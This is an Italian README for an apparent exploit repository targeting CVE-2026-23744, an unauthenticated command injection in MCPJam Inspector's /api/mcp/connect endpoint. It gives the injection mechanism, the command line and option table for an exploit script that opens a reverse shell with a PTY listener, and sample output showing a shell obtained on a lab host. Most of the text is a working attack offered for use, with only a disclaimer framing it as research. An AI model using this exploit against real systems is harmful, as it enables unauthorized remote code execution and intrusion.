mluex0/cve-2026-23744-pocCVE-2026-23744 è un'iniezione di comandi non autenticata in MCPJam Inspector ≤1.4.2 tramite /api/mcp/connect. Questo POC lo sfrutta inviando un payload JSON appositamente costruito per eseguire comandi arbitrari, ottenendo una reverse shell con PTY.
Questa proof-of-concept è fornita esclusivamente per ricerca sulla sicurezza autorizzata, scopi educativi e ambienti di laboratorio controllati (es. HTB, CTF o test di penetrazione interni con consenso scritto esplicito). L'uso non autorizzato contro qualsiasi sistema senza permesso è illegale e non etico. L'autore non si assume alcuna responsabilità per un uso improprio; gli utenti sono gli unici responsabili del rispetto di tutte le leggi e normative applicabili.
CVE-2026-23744 è una vulnerabilità di injection di comandi non autenticata in MCPJam Inspector (versione ≤ 1.4.2).
L'endpoint /api/mcp/connect accetta un payload JSON con serverConfig.command e serverConfig.args e li passa direttamente allo spawn di un processo di sistema senza alcuna sanitizzazione. Un attaccante può inviare una richiesta appositamente costruita per eseguire comandi di sistema arbitrari, ottenendo una reverse shell con i privilegi dell'utente del servizio.
Questo repository contiene uno script exploit completo e funzionante con un listener interattivo automatico opzionale basato su PTY (abilitato per impostazione predefinita).
requests (pip install requests)Importante: Fornisci solo il nome host o l'IP. Lo script aggiunge automaticamente http:// o https://
python3 exploit.py -t <target> -l <your_ip> [-r <port>] [--ssl] [--check-only]
| Opzione | Descrizione |
|---|---|
-t, --target | Hostname o IP del target (obbligatorio) |
-p, --port | Porta del target (predefinita: 6274) |
-l, --lhost | Il tuo IP per la reverse shell (obbligatorio) |
-r, --lport | Porta del tuo listener (predefinita: 4444) |
--ssl | Usa HTTPS invece di HTTP |
--check-only | Controlla solo la vulnerabilità, non inviare la shell |
Lo script avvia il proprio listener e ti fornisce una shell direttamente nel terminale.
python3 exploit.py -t <example_hostname> -l <your_IP> -r <Listener_Port>
$ python3 exploit.py -t devhub.htb -l 10.10.14.111 -r 4444
[*] Target URL: http://devhub.htb:6274/api/mcp/connect
[*] Checking target...
[+] Target responded with 400 – appears vulnerable
[*] Sending exploit payload...
[+] ReadTimeout – shell likely spawned!
[*] Payload sent. Check your listener!
# On your listener:
connect to [10.10.14.111] from (UNKNOWN) [10.129.245.216] 54150
mcp-dev@devhub:/opt/mcpjam$ id
uid=1001(mcp-dev) gid=1001(mcp-dev) groups=1001(mcp-dev)
root.Questo repository è destinato esclusivamente a scopi educativi e di test autorizzati. Usalo a tuo rischio.
Autore: Mluex0 Data: Agosto 2026